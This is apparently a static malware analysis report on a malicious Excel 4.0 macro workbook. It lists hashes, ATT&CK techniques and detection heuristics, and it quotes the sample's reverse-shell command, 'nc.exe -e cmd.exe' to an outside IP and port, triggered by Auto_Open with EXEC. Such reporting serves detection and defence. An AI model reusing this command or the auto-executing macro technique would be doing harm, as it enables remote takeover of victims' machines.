Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 6fff03a5b2e69d3e…

MALICIOUS

Office (OOXML) / .XLSM

9.2 KB Created: 2022-06-28 13:43:35 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-08-03
MD5: b853ae298d874add166dcb1cf552f276 SHA-1: 618ab8e3f10f03beb922aa515fc2f0cb0af4df8f SHA-256: 6fff03a5b2e69d3e0fc91be6d24a3dbbd37e490214122fa2a1ea6e80acfa2131
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Service Execution T1059.001 PowerShell T1059 Command and Scripting Interpreter

The sample is an Excel macro-enabled spreadsheet (XLSM) containing Excel 4.0 macros. It utilizes the 'EXEC' function to run 'nc.exe -e cmd.exe 78.85.17.88 9991', which attempts to establish a reverse shell to the IP address 78.85.17.88 on port 9991. The 'HALT()' function is also present, likely to terminate the macro execution after the command is issued. This indicates a direct attempt to gain remote command execution.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
022de36a39a58461092ba9a80357406f7b7a05b20448cc08d2102f391188046d		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1415 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).

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